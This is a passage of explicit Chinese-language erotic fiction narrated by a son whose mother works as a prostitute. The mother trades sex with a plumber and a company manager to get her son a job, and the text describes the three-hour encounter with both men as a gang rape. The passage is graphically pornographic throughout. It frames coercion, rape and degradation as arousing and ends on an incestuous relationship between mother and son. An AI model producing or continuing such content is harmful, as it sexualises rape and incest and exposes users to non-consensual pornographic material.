十分钟后,水管工还在兴致勃勃地指奸着我妈妈阴道……母亲被他折腾得实在吃不消,只好缴械投降,准备和这水管工上床打炮。
“够了,够了,我受不了啦!你……你跟我去房间吧……”
一进房间大门,水管工便脱下工装裤,露出他那足足有三十多公分长的大肉棒,我妈妈见了,不禁倒吸一口凉气。幸亏我妈妈已被他手指玩弄的淫水泛滥,小穴口正湿润无比着,水管工不费力地便将雄伟阳具插进了我妈妈的阴道内。
他把我妈妈扑倒在大床上,一边喘着粗气挺动下身,一边把手放在妈妈两只雪白耸立的胸峰,揉捏搓弄她的乳头。水管工体力惊人,鸡巴更如打椿机一样,不断地用力向里撞击着我妈妈的花心,肉棒每插一下,妈妈都不禁浪叫一下。我妈妈已经好久没遇见如此威猛的“客人”,她把两条美腿紧紧地盘在男人腰间,咬起牙关,默默忍受着下体强烈的性刺激……
下午五点多钟,窗外已近夕阳西下,但房间内,水管工仍然趴在我妈妈身上,孜孜不倦地狂插猛送着。
又过了半个小时,妈妈瞧眼前这位猛男,依旧一副性趣高昂的样子,抽插在她体内的那根肉棒,虽然已经射过两次精,却仍然十分坚挺。妈妈知道时刻已经不早,再过不了多久,我就要回家了。
于是,妈妈使出浑身气力,一把将水管工从自己身上推开。水管工非常气恼,正要发怒,妈妈却灵机一动,编了个完美理由:“今天差不多就行啦,我老公快要回家了!”
水管工一听这话,吓得脸色惨白,立刻就屁滚尿流地下床穿起衣服。临走前,他口口声声地答应我母亲,“工作的事情,不用担心,一切都包在他身上。”
……
毕业后回到老家的第一个月,我一直没停下找工作,但结果依旧惨淡,几乎颗粒无收,始终找不到自己合意的岗位。
而这段时间内,妈妈却极其繁忙,小区里的色男人们有事没事就往我家跑,当然,都是为了嫖我妈妈而来。
通常,男人们都是先预约,然后一个个按时到我家,来了之后,不管我妈妈在家干嘛,逮到她就往大门口强拉硬拽。好几次我甚至还看见,急不可耐的嫖客们把我妈妈按在楼道的墙壁上,让她高高撅起屁股、双手扶墙站好,从后面用鸡巴狠操她的小穴,直接在楼道里就与我妈妈交媾起来。
有时候,甚至连我本人在家,他们也都毫不避讳。比如上星期,我在厨房切水果,妈妈在客厅里看电视,我们母子俩正隔空说着话,说到一半,我却听不见妈妈的声音了。于是我走出厨房门一看,竟瞧见我妈妈正被一个陌生男的压在胯下,嘴里含着那人的阴茎,“窸窣窸窣”地给他吹着喇叭呢!
当然,小区男人们最喜欢的,还是把我妈妈带到四楼老曹家玩弄,因为老曹从国外收集了各式各样的“性玩具”。我曾听几个邻居窃窃私语,说我妈妈在老曹家,被人光着身子倒吊起来,还往她屁眼里浇灌啤酒和牛奶等液体……
虽然妈妈是妓女,可她毕竟也是我的亲生母亲啊!对这些嫖客们的无耻行径,我实在忍无可忍。
白天还好,我往往都在外面递简历、找工作,母亲这些破事,眼不见为净;但到了晚上,我们母子俩在家歇息,却总有好色之徒上门,打扰我和妈妈的快乐时光。
于是后来,我和母亲商议了一下,立下一个约定:每天晚上我回家后,上床睡觉之前,这段时间内,母亲不准接客。
但母亲终究是做婊子的,而婊子就像超市里的商品,任君挑选,随时随刻。嫖客们这一秒想开荤了,只要口袋里有钱,那下一秒就会自主上门,令我母亲脱裤子。尤其是吃过晚饭后,小区里的那些闲散游民,吃饱喝足,往往淫虫上脑。
记得小时候,时常发生的事情,暑夜,我和几个邻居小孩在楼下乘凉,突然间,楼上传来一阵“嗯嗯啊啊”的女人叫床声。邻居小孩们都早熟的很,毕竟他们的父亲几乎都玩弄过我妈妈。一听到这熟悉的女人淫叫,大伙都知道,是华子那骚货妈妈,他们当下就齐刷刷地全部看向我,眼神里充满了讪笑。有的小孩嘴很贱,还直言不讳地大声嚷嚷:“华子他妈妈又被人骑喽……华子他妈妈又被人骑喽……”
……
自从我们母子俩立下约定后,妈妈接近一周晚上没有接客。对此,我既非常满意,也很开心,于是有时候闲着没事,我还带妈妈出去逛逛街。
我和母亲手挽着手,模样亲密地走在路上,不小心遇到熟人,尤其是那些好色男人们。他们瞧我和妈妈站在一起,儿子大学毕业了,二十多岁,妈妈年近四十,但保养有方,风韵十足,丝毫看不出年纪,俩人这么站一块儿,根本不像母子俩。
好色的男人往往嘴巴很甜,他们一个劲地“夸奖”我妈妈:真是越长越漂亮,越长越年轻了!站在儿子旁边,一点不像当妈的,好像一个大姐姐……妈妈听了这些赞美,虽然明白男人们是别有用心,但她脸上还是美滋滋的。不过,男人们甜言蜜语可以,一旦想伸咸猪手,妈妈必然板起脸,一口拒绝。
如果日子能一直这样过,那该多美好,没有了那些无耻嫖客,全世界只剩下我和妈妈……
按照约定,每天傍晚至凌晨,除我之外,母亲是不可以见其他男人的。但这周三晚上,母亲提前和我打了招呼,说她要“接待”一个重要客人。
这个重要客人,不是别的,正是之前那位允诺母亲,要帮我找工作的水管工,看样子,他在公司那边已经有了新进展。
星期三,晚上六点整,水管工按时赴约,来到了我家。
当天,我妈妈亲自下厨,做了一大桌子的美味佳肴,还摆出一瓶红酒,准备与水管工助兴用。待客人上桌就座后,我妈妈又悄悄折回房间,换上了一套性感的情趣内衣。
五分钟后,妈妈从房间里翩翩走出:此时,妈妈上身穿一套蕾丝透视装,下身是一条酒红色“心形”小内裤,还配着黑色的长筒吊带丝袜,脚上是一双同色系的露趾高跟鞋。
“动筷子呀,尝尝大姐的手艺。”
母亲语气中饱含温柔地说。
水管工看我妈妈这副骚浪打扮,哪还顾得上什么饭菜,顿时愣住了,两只眼睛如痴如醉……接下来,全场无声胜有声,妈妈一句话不再多说,只是面含微笑地,轻轻坐到了水管工的大腿上。男人对这一天已经期盼许久,欲火焚身的他,裤裆处,高高撑起着一个大“帐篷”。
很快,水管工和我妈妈俩人,便水乳交融,纠缠在一起。
俩人激情似火地热烈拥吻着,几分钟后,母亲的上半身几乎全裸,除了两个大奶头上,还贴着两片薄薄的棉布做的东西,其直径,约莫等于妈妈的乳晕。这玩意儿很薄很软,被我妈妈的奶头顶得向外鼓出,只能盖住奶头,周围露出一圈褐色的乳晕。
后来我才知道,这玩意儿叫做乳贴,俗名“奶头罩”。
看来母亲为了讨好这水管工,没少费心思啊!
缠绵的舌吻过后,水管工直接从裤裆里掏出鸡巴,然后命令我妈妈撅起大屁股,让他从后面刺进了我妈妈的阴道里。
健壮的水管工抱着我妈妈的腰部,开始猛烈地撞击着她的肥臀和阴户,几乎每次插入,鸡巴都是在我妈妈体内尽根没入,只露出一点阴毛在外面。妈妈被水管工的大鸡巴肏得满面红潮,额头、后背上布满了汗珠,屁股更像是被抹了一层油,光亮亮的十分顺滑。
正当俩人肏得如火如荼时,外面忽然有人敲门,母亲以为是我回来了,顿时花容失色,全身打了个颤。
可那水管工却一点也不着急,不像上次我妈妈骗他说“老公要回来了”时,那般惊吓无比。他仍然猛力地肏着我妈妈,镇定说道:“大姐,快去开门吧!是我们王经理,工作的事,你可都得指着他啊。”
说罢,水管工便老汉推车,从后面一边操着穴,一边把我妈妈推到了门口。
开门后,一个中年秃顶男人,是公司的人事部经理,姓王。
“哇,你们俩人可真够行啊!”
“王……王经理,你好……要不……要……先……先吃点菜啊?”
妈妈一边被人狠狠肏着肉穴,一边竭力抛着媚眼,娇滴滴地对那王经理说道。
这种时候,只要是个男人,哪还有什么吃东西的心情!只见经理一把分开我妈修长的美腿,并在她丝袜的裆部撕开了一个大口子。水管工见状,明白自己最好赶紧让位,毕竟得让领导先上嘛!妈妈经历过无数男人,当下也明白王经理的用意。
接下啦,我妈妈自觉打开阴户,主动将下身往王经理的肉棒上坐,一直淫水泛滥着的小穴口,哈着小嘴随着妈妈的呼吸一张一缩,一下就把经理的阴茎给整支吞没了。接下来的时间里,经理就仰坐在椅子上一动不动,完全靠我妈妈卖力地前后上下扭动着屁股,大声骚叫着,用她阴道敏感部位摩擦着经理粗糙的龟头;与此同时,我妈妈还忽而拉起他的手,放在自己两只不断跳动的奶头上,忽而拼命往前俯身,主动将沉甸甸的双乳挤凑到经理脸上去。
两个男人默契配合,两根鸡巴对着我母亲上下三个肉洞,轮流进攻,同时夹击。或是一前一后,配合着狠肏母亲的肉穴和屁眼,或是一上一下,一根阳具抽插在阴道里,另一根让我妈妈含在嘴里吹箫。长达三个多小时的轮奸里,一注注散发着强烈气味的黏稠精液,轮番灌进母亲体内……
半个月后,王经理兑现诺言,让我在他那家公司找到了一份不错的职位。而我母亲也正式退了休,结束妓女生涯,在家彻底成为了我的“小老婆”。